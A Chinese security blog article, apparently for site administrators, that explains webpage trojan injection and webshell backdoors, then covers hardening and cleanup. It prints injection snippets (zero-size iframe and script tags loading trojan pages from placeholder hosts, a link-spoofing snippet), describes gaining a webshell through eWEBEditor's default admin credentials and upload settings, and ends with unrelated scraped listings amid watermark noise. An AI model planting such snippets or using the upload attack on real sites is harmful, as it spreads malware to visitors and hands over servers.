网站被挂马，被植入后门，这是管理员们无论如何都无法忍受的。Web服务器被攻克不算，还“城门失火殃及池鱼”，网站的浏览者也不能幸免。这无论是对企业的信誉，还是对管理员的技术能力都是沉重的打击。下面笔者结合实例对网页后门及其网页挂马的技术进行解析，知己知彼，拒绝攻击。
一、前置知识
W&q1Y"o-cJ6SR-m)u,s+tm0网页后门其实就是一段网页代码，主要以ASP和PHP代码为主。由于这些代码都运行在服务器端，攻击者通过这段精心设计的代码，在服务器端进行某些危险的操作，获得某些敏感的技术信息或者通过渗透，提权获得服务器的控制权。并且这也是攻击者控制服务器的一条通道，比一般的入侵更具有隐蔽性。
网页挂马就是攻击者通过在正常的页面中（通常是网站的主页）插入一段代码。浏览者在打开该页面的时候，这段代码被执行，然后下载并运行某木马的服务器端程序，进而控制浏览者的主机。
二、网页挂马的类型
'zO"~ xI01、框架嵌入式网络挂马IXPUB技术博客
ms7LX8b Nq
网页木马被攻击者利用iframe语句，加载到任意网页中都可执行的挂马形式，是最早也是最有效的的一种网络挂马技术。通常的挂马代码如下：
<iframe. src=http://www.xxx.com/muma.html width=0
height=0></iframe>
解释：在打开插入该句代码的网页后，就也就打开了http://www.xxx.com/muma.html页面，但是由于它的长和宽都为“0”，所以很难察觉，非常具有隐蔽性。下面我们做过做个演示，比如在某网页中插入如下代码：
<iframe. src=http://safe.it168.com width=200
height=200></iframe>IXPUB技术博客.i7i&D["Y)L
|
在“百度”中嵌入了“IT168安全版块”的页面。
&Lg2];}7kN%I;n02、js调用型网页挂马
:r
M/L;uh2of9d0js挂马是一种利用js脚本文件调用的原理进行的网页木马隐蔽挂马技术，如：黑客先制作一个.js文件，然后利用js代码调用到挂马的网页。通常代码如下：
<script. language=javascript. src=http://www.xxx.com/gm.js></script>IXPUB技术博客O#s(]&a d:_;r
http://www.xxx.com/gm.js就是一个js脚本文件，通过它调用和执行木马的服务端。这些js文件一般都可以通过工具生成，攻击者只需输入相关的选项就可以了.
3、图片伪装挂马
"U,n!A,J6cI/o0随着防毒技术的发展，黑手段也不停地更新，图片木马技术逃避杀毒监视的新技术，攻击者将类似：http://www.xxx.com/test.htm中的木马代码植入到test.gif图片文件中，这些嵌入代码的图片都可以用工具生成，攻击者只需输入相关的选项就可以了，。图片木马生成后，再利用代码调用执行，是比较新颖的一种挂马隐蔽方法，实例代码如：
<html>
I/nx5o;bsR0<iframe. src="http://www.xxx.com/test.htm"
height=0 width=0> </iframe>
)I8z ~"a9b"[/O8HD0<img src="http://www.xxx.com/test.jpg"></center>
lp_V {x0r0</html>IXPUB技术博客2P'c:?/rp\
注：当用户打开http://www.xxx.com/test.htm是，显示给用户的是http://www.xxx.com/test.jpg，而http://www.xxx.com/test.htm网页代码也随之运行。
4、网络钓鱼挂马（也称为伪装调用挂马）
X6cg`
Gr0网络中最常见的欺骗手段，黑客们利用人们的猎奇、贪心等心理伪装构造一个链接或者一个网页，利用社会工程学欺骗方法，引诱点击，当用户打开一个看似正常的页面时，网页代码随之运行，隐蔽性极高。这种方式往往和欺骗用户输入某些个人隐私信息，然后窃取个人隐私相关联。比如攻击者模仿腾讯公司设计了一个获取QQ币的页面，引诱输入QQ好和密码。等用户输入完提交后，就把这些信息发送到攻击者指定的地方。
5、伪装挂马
/^?2FI6f0高级欺骗，黑客利用IE或者Fixfox浏览器的设计缺陷制造的一种高级欺骗技术，当用户访问木马页面时地址栏显示www.sina.com或者security.ctocio.com.cn等用户信任地址，其实却打开了被挂马的页面，从而实现欺骗，示例代码如：
<p><a id="qipian" href="http://www.hacker.com.cn"></a></p>IXPUB技术博客e N/_'tG ^?:G
<div>
1m/C`)Zso3u0<a href="http://safe.it168.com"
target="_blank">IXPUB技术博客,G
N8PL9m1?*k8u
<table>IXPUB技术博客
R'i]"i\*R/L
<caption>
^%_e
c!e^v V0<label for="qipian">IXPUB技术博客K#Jww(| R
<u
style="cursor;pointer;color;blue">
~5muiX
Q*[0safe.it168.com IT168安全版块IXPUB技术博客 I,twe_ \
</u>IXPUB技术博客Py~+C3ej9S2yQ)v
</label>IXPUB技术博客 HA_'M
H'W!A'A
</caption>
d#Gi o1{4B.{0</table>IXPUB技术博客6b8Swx(M/RV
</a>
? ]G8fg3X"r0</div>IXPUB技术博客D N5jo nN8B
上面的代码的效果，在貌似http://safe.it168.com的链接点击却打开了http://www.hacker.com.cn。
总结：上述的挂马方式都是利用了系统的漏洞，并且挂马的代码不用攻击者编写，都是实现了工具化、傻瓜化。技术门槛比较低，因此危害也特别大。
三、网页漏洞的寻找方法
\)u'E Aq"w
l0网页的漏洞主要有注入漏洞、跨站漏洞、旁注漏洞、上传漏洞、暴库漏洞和程序漏洞等等。针对这么多的漏洞威胁，网站管理员要对自己的网站进行安全检测，然后进行安全设置或者代码改写。那如何来检测网站存在的漏洞呢？其实，很多攻击者都是通过一些黑客工具来检测网站的漏洞然后实施攻击的。那么网站的管理员就可以利用这些工具对网站进行安全检测，看有没有上述漏洞，笔者就不一一演示了。下面就列举一个当前比较流行的eWEBEditor在线HTML编辑器上传漏洞做个演示和分析。
1、网站入侵分析IXPUB技术博客YA
JHSGk6]&Xf
eWEBEditor是一个在线的HTML编辑器，很多网站都集成这个编辑器，以方便发布信息。低版本的eWEBEditor在线HTML编辑器，存在者上传漏洞，黑客利用这点得到WEBSHELL（网页管理权限）后，修改了网站，进行了挂马操作。
其原理是：eWEBEditor的默认管理员登录页面没有更改，而且默认的用户名和密码都没有更改。攻击者登陆eWEBEditor后，添加一种新的样式类型，然后设置上传文件的类型，比如加入asp文件类型，就可以上传一个网页木马了。
2、判断分析网页漏洞IXPUB技术博客6z.@dFaY-BF-{
(1)攻击者判断网站是否采用了eWEBEditor的方法一般都是通过浏览网站查看相关的页面或者通过搜索引擎搜索类似"ewebeditor.asp?id="语句，只要类似的语句存在，就能判断网站确实使用了WEB编辑器。
(2)eWEBEditor编辑器可能被黑客利用的安全漏洞：
nm;\
\6t0a.管理员未对数据库的路径和名称进行修改，导致黑客可以利用编辑器默认路径直接对网站数据库进行下载。
b.管理员未对编辑器的后台管理路径进行修改导致黑客可以通过数据库获得的用户名和密码进行登陆或者直接输入默认的用户名和密码，直接进入编辑器的后台。
c.该WEB编辑器上传程序存在安全漏洞。
R.I M\1W,Z]Q0四、网页木马的防御和清除
;rz9F
vu01、防御网页木马，服务器设置非常重要，反注册、卸载危险组件：（网页后门木马调用的组件）
(1)卸载wscript.shell对象，在cmd先或者直接运行：IXPUB技术博客4m8gc(_d
regsvr32 /u
%windir%\system32\WSHom.Ocx
(2)卸载FSO对象，在cmd下或者直接运行：
{-m5N
y3_Zu(`.G0regsvr32.exe /u %windir%\system32\scrrun.dll
(3)卸载stream对象，在cmd下或者直接运行：
!_#k%F
t8i0regsvr32.exe /u /s "C:\Program Files\Common
Files\System\ado\msado15.dll"
注：如果想恢复的话只需重新注册即可，例如：regsvr32 %windir%\system32\WSHom.Ocx
2、清理网页挂马
K#G s
Ib8\0(1)利用雷客图ASP站长安全助手查找所有在2008-3.1日-2008.3.5日之间所有修改过的文件里是否有iframe语句和http://www.xxx.com/a.htm关键词，进行手工清理。
(2)也可利用雷客图ASP站长安全助手批量删除网马。
(3)检测JS文件，在2008-3.1日-2008.3.5日之间增加的JS文件全部删除。
从分析报告可以看到网站的admin路径下发现lb.asp网页木马，经分析为老兵的网页木马。（加密后依旧能通过特征码分辨，推荐网站管理员使用雷客ASP站长安全助手，经常检测网站是否被非法修改。）
提示：雷客图ASP站长安全助手可以帮助站长分析网站的安全状况，但是一定要更改它的默认用户名和密码。
3、解决eWEBEditor编辑器安全隐患
6?u
DB;} Qb0由于网站在开发时集成了eWEBEditor编辑器，删除或者替换容易导致其他问题的出现，推荐按如下方案解决：
(1)修改该编辑器的默认数据库路径和数据库名，防止被黑客非法下载。IXPUB技术博客e6u x0vAI
默认登录路径admin_login.aspIXPUB技术博客}N7Z N7I3c
默认数据库db/ewebeditor.mdb
(2)修改编辑器后台登录路径和默认的登录用户名和密码，防止黑客进入管理界面。
v U"qj.h/y;x @0默认帐号admin
,{hf3GL f-R0默认密码admin或者admin888
(3)对Upload.asp语句进行修改，防止黑客利用其上传ASP木马从而获得WEB权限。IXPUB技术博客8cO:c,r*| WS[
对上传语句现在进行修改：
@\9|3^9c4LI0将原来的：sAllowExt=Replace(UCase(sAllowExt),"ASP","")
v DUY/|-o(oh0修改为：
Y-b'|
M0s0sAllowExt=Replace(UCase(sAllowExt),"ASP",""),"CER",""),"ASA",""),"CDX",""),"HTR","")
x]
HzdTK+\"`X;U0增加上传对cer、asa、cdx、htr文件类型的限制，因为这些类型的文件都是可以执行的文件，可以被攻击者利用进行对网站及其服务器进行危险操作的文件类型。
总结：网页后门和网页挂马是网站最大的敌人，他们对网站的危害几乎是毁灭性的。网站管理员们只有了解了其原理、掌握防治技术才能保护网站的安全。
相关推荐
物联网_Android蓝牙双模开发_基于BLE40和BLE50的双通道蓝牙通信框架_支持多设备并发管理与自定义数据包解析的智能硬件控制SDK_适用于智能家居和工业物联网场景的蓝
# 压缩文件中包含： 中文-英文对照文档 jar包下载地址 Maven依赖 Gradle依赖 源代码下载地址 # 本文件关键字： jar中文-英文对照文档.zip,java,jar包,Maven,第三方jar包,组件,开源组件,第三方组件,Gradle,中文API文档,手册,开发手册,使用手册,参考手册 # 使用方法： 解压最外层zip，再解压其中的zip包，双击 【index.html】 文件，即可用浏览器打开、进行查看。 # 特殊说明： ·本文档为人性化翻译，精心制作，请放心使用。 ·只翻译了该翻译的内容，如：注释、说明、描述、用法讲解 等； ·不该翻译的内容保持原样，如：类名、方法名、包名、类型、关键字、代码 等。 # 温馨提示： （1）为了防止解压后路径太长导致浏览器无法打开，推荐在解压时选择“解压到当前文件夹”（放心，自带文件夹，文件不会散落一地）； （2）有时，一套Java组件会有多个jar，所以在下载前，请仔细阅读本篇描述，以确保这就是你需要的文件；
在线教育_微信小程序云开发_课程预约管理系统_基于腾讯云开发的智能在线课程预约平台_包含课程时间管理_学员自助预约_多维度签到核销_数据导出分析_适用于教育培训机构_健身房_企业内
内容概要：本文详细介绍了如何使用MATLAB实现改进二进制粒子群算法来解决含需求响应的机组组合问题。文章首先构建了机组组合问题的基本模型，定义了机组的数量及其最小和最大发电功率等参数。接着，在此基础上加入了需求响应机制，通过设置需求响应的最大可削减负荷量和补偿系数，实现了对负荷侧的管理。为了提高求解效率，采用了一种改进的二进制粒子群算法，该算法通过独特的更新策略使粒子更快更准地找到最优解。此外，还讨论了微电网调度中如何降低发电成本并确保供电稳定性，强调了需求响应在优化调度中的重要性。 适合人群：对电力系统优化、机组组合问题、需求响应机制以及改进粒子群算法感兴趣的科研人员和技术开发者。 使用场景及目标：适用于需要优化电力系统调度的研究项目或实际工程应用，旨在通过引入需求响应机制和改进的粒子群算法，降低发电成本，提高系统的灵活性和经济效益。 其他说明：文中提供的MATLAB代码示例有助于理解和复现算法的具体实现，同时提醒了一些常见的陷阱和注意事项，如负荷预测误差的影响和合理的参数选择。
chromedriver-linux64-138.0.7153.0.zip
内容概要：本文详细介绍了基于领航跟随者和滑膜控制的多智能体编队仿真控制系统。首先阐述了领航跟随者策略的工作原理，即由一个领航者决定编队的整体运动方向和其他跟随者根据相对位置进行调整。接着解释了滑膜控制的作用及其在编队控制中的优势，特别是在应对环境干扰和实现精准轨迹跟踪方面的能力。文中提供了具体的Matlab代码示例，涵盖智能体初始化、障碍物检测与避障机制、领航者轨迹生成、滑膜控制器的设计以及队形变换等多个重要环节。此外，作者还分享了一些实用的经验和技术细节，如数值积分步长选择、避障算法优化等。 适合人群：对多智能体系统、编队控制、滑膜控制感兴趣的科研人员、研究生及工程师。 使用场景及目标：适用于需要理解和实现多智能体编队控制系统的场合，特别是涉及无人机编队飞行、自动驾驶车辆协同作业等领域。目标是帮助读者掌握领航跟随者策略和滑膜控制的具体实现方法，提高编队系统的稳定性和灵活性。 其他说明：文中提到的代码可以在Matlab环境下运行，提供了完整的编队控制流程演示，有助于加深对相关概念的理解。同时，文中讨论的一些优化措施也为进一步的研究提供了有价值的参考。
内容概要：本文详细介绍了如何在Matlab中进行常见分布函数的拟合及其KS检验。首先概述了几种常见的概率分布，如正态分布、对数正态分布、伽马分布、威布尔分布、指数分布、瑞利分布和极值分布等。然后通过具体的Matlab代码展示了如何生成示例数据，并利用fitdist函数对这些分布进行拟合。接下来，使用kstest函数进行了KS检验，以评估数据是否符合所拟合的分布。文中还强调了KS检验的局限性和注意事项，如参数估计的影响和p值的解释。最后，通过可视化手段进一步验证了拟合的效果。 适合人群：具备一定数学和编程基础的数据分析师、科研工作者及学生。 使用场景及目标：适用于需要对数据进行概率分布拟合和检验的实际应用场景，如金融风险评估、可靠性分析、信号处理等。目标是帮助读者掌握Matlab中分布拟合和KS检验的具体实现方法，提高数据分析能力。 其他说明：文章不仅提供了详细的代码示例，还讨论了实际应用中的注意事项，如参数估计质量、p值解释和物理意义的选择。同时，强调了KS检验作为参考工具的作用，不应过分依赖统计检验结果，还需结合业务背景做出最终判断。
maxhub传屏软件
GC9D01_Rotation.h
物联网_蓝牙50_BLE低功耗通信_基于ESP32芯片的智能家居设备无线控制系统_实现多设备互联与远程监控的跨平台解决方案_包含Android和iOS移动端应用开发_支持MQTT
iOS开发_AVFoundation框架_Swift编程语言_本地音频播放_网络音频流媒体_后台播放功能_耳机线控支持_UI界面设计_音乐播放器Demo_项目结构优化_错误处理机制
内容概要：本文详细介绍了如何使用MATLAB实现决策树回归模型，具体步骤包括数据读取、数据预处理、模型训练、预测与评估以及结果可视化。文中提供了完整的代码示例，并针对每个步骤给出了详细的注释和解释，确保读者能够轻松理解和上手。此外，还讨论了决策树回归模型的优点和局限性，如解释性强但易过拟合的问题，并给出了一些优化建议。 适合人群：具备基本编程技能并对机器学习感兴趣的初学者，尤其是希望通过MATLAB快速入门决策树回归模型的人。 使用场景及目标：适用于需要进行回归预测的实际项目，如房价预测、温度预测等。通过学习本文，读者可以掌握如何利用MATLAB实现决策树回归模型，理解模型的工作原理及其应用场景。 其他说明：文中强调了代码实现过程中的一些注意事项，如数据格式、路径设置等，并提供了一些常见的解决方案和优化技巧，帮助读者更好地应对实际问题。
chromedriver-win64-138.0.7158.0.zip
内容概要：本文详细介绍了基于储能电站服务的冷热电多微网系统的双层优化配置方法及其MATLAB代码实现。文章首先阐述了冷热电多微网系统的重要性和储能电站在其中的关键作用，随后讲解了双层优化配置的概念，即上层优化关注系统宏观目标（如成本最小化、能源利用率最大化），下层优化侧重于各微网系统的具体运行情况。文中提供了具体的MATLAB代码示例，包括上层和下层优化的实现方式，并通过实例展示了如何使用CPLEX求解器进行优化。此外，文章还探讨了模型的实际应用效果，指出相比于传统单层优化，双层优化能够使系统运行成本降低15%-20%，特别是在储能的削峰填谷方面表现出色。最后，作者分享了一些调试经验和实用技巧，如延迟约束生成、结构化数据管理和迭代过程中的收敛判断等。 适用人群：从事能源系统优化的研究人员和技术人员，尤其是对MATLAB和CPLEX有一定了解的读者。 使用场景及目标：适用于需要对冷热电多微网系统进行优化配置的工程项目，旨在通过合理的储能电站配置和调度策略，实现能源利用效率的最大化和系统运行成本的最小化。 其他说明：文章不仅提供了理论指导，还附带了详细的代码实现，便于读者理解和实践。对于初学者而言，建议逐步学习并调试代码，掌握双层优化配置的核心思想和关键技术。
内容概要：本文深入解析了三菱FX5U PLC七轴控制系统的标准程序，涵盖主控程序、点动/回零/定位控制、手动模块、复位程序以及生产计数模块。主控程序利用状态寄存器进行模式切换，确保各模块独立运作；点动模式通过PLSY指令控制电机正反转，绝对定位采用DRVA指令，回零则使用ZRN指令；手动模块加入双线圈互锁设计防止误操作；复位程序包含状态检测，确保安全复位；生产计数模块通过上升沿触发避免计数异常。此外，文章还介绍了触摸屏程序的设计要点和调试过程中的一些常见问题及其解决方案。 适合人群：从事工业自动化领域的工程师和技术人员，尤其是对三菱PLC编程有一定基础的人群。 使用场景及目标：适用于需要理解和掌握三菱FX5U PLC七轴控制系统的设计和调试的技术人员。主要目标是帮助读者理解各个功能模块的工作原理，提高编程效率和系统稳定性。 其他说明：文中提供了大量实际应用中的经验和技巧，有助于读者在实际工作中避免常见的错误，提升工作效率。
985研究生，Matlab领域优质创作者 （1）如需代码 加腾讯企鹅号，见评论区或私信； （2）代码运行版本 Matlab 2019b （3）其他仿真咨询 1 完整代码包运行+运行有问题可咨询 2 期刊或论文复现； 3 程序定制； 4 期刊写作或指导； 5 科研合作；
# 压缩文件中包含： 中文-英文对照文档 jar包下载地址 Maven依赖 Gradle依赖 源代码下载地址 # 本文件关键字： jar中文-英文对照文档.zip,java,jar包,Maven,第三方jar包,组件,开源组件,第三方组件,Gradle,中文API文档,手册,开发手册,使用手册,参考手册 # 使用方法： 解压最外层zip，再解压其中的zip包，双击 【index.html】 文件，即可用浏览器打开、进行查看。 # 特殊说明： ·本文档为人性化翻译，精心制作，请放心使用。 ·只翻译了该翻译的内容，如：注释、说明、描述、用法讲解 等； ·不该翻译的内容保持原样，如：类名、方法名、包名、类型、关键字、代码 等。 # 温馨提示： （1）为了防止解压后路径太长导致浏览器无法打开，推荐在解压时选择“解压到当前文件夹”（放心，自带文件夹，文件不会散落一地）； （2）有时，一套Java组件会有多个jar，所以在下载前，请仔细阅读本篇描述，以确保这就是你需要的文件；
detection method(1)(1)(1) (1)
chromedriver-linux64-138.0.7158.0.zip